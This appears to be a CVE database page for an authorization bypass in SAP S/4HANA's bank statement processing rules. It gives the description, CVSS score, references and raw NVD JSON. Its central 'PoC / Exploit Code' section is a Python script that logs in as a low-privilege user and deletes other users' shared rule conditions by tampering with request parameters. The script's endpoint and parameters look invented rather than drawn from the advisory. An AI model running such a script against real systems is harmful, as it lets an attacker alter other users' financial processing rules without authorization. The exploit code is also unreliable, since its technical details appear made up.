CVE-2025-42939

Description

SAP S/4HANA (Manage Processing Rules - For Bank Statements) allows an authenticated attacker with basic privileges to delete conditions from any shared rule of any user by tampering the request parameter. Due to missing authorization check, the attacker can delete shared rule conditions that should be restricted, compromising the integrity of the application without affecting its confidentiality or availability.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA (Manage Processing Rules - For Bank Statements) - 所有未安装SAP Note 3625683补丁的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-42939 PoC - SAP S/4HANA Manage Processing Rules Authorization Bypass
# Vulnerability: Missing authorization check allows deletion of shared rule conditions

import requests

# Target SAP S/4HANA system configuration
TARGET_URL = "https://target-sap-system:443"
LOGIN_URL = f"{TARGET_URL}/sap/bc/icf/logon"
DELETE_RULE_URL = f"{TARGET_URL}/sap/bc/bsp/sap/zbank_rule_mgmt/conditions"

# Step 1: Authenticate with low-privilege credentials
session = requests.Session()
login_data = {
    "sap-user": "attacker_user",
    "sap-password": "attacker_password",
    "sap-system-login-oninputprocessing": ""
}
session.post(LOGIN_URL, data=login_data)

# Step 2: Enumerate or obtain target condition IDs from shared rules
# These IDs belong to other users' shared processing rules
target_condition_ids = [
    "COND_ID_001",  # Condition ID belonging to another user's shared rule
    "COND_ID_002",  # Another condition ID from shared rule
]

# Step 3: Exploit - Delete conditions by tampering request parameters
for condition_id in target_condition_ids:
    # The request lacks proper authorization check on the condition_id parameter
    delete_params = {
        "condition_id": condition_id,  # Target condition owned by another user
        "rule_id": "SHARED_RULE_ID",
        "action": "delete",
        "sap-ui-tech-hint": "POST"
    }

    response = session.post(
        DELETE_RULE_URL,
        params=delete_params,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Requested-With": "XMLHttpRequest"
        }
    )

    if response.status_code == 200:
        print(f"[+] Successfully deleted condition: {condition_id}")
    else:
        print(f"[-] Failed to delete condition: {condition_id}, Status: {response.status_code}")

print("[*] Exploitation complete - shared rule conditions deleted without proper authorization")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-42939
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-42939
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-42939/
[4] VulDB https://vuldb.com/cve/CVE-2025-42939
[5] https://me.sap.com/notes/3625683
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-42939", "sourceIdentifier": "[email protected]", "published": "2025-10-14T01:15:33.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP S/4HANA (Manage Processing Rules - For Bank Statements) allows an authenticated attacker with basic privileges to delete conditions from any shared rule of any user by tampering the request parameter. Due to missing authorization check, the attacker can delete shared rule conditions that should be restricted, compromising the integrity of the application without affecting its confidentiality or availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://me.sap.com/notes/3625683", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}